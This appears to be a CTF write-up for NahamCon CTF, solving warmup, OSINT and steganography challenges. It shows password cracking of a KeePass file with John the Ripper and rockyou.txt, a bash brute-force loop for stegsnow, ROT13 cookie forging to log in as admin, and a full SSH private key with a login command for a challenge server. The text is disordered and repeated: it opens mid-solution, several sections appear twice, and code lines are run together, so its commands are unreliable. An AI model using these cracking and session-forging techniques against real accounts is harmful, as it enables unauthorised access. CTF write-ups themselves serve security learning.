This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

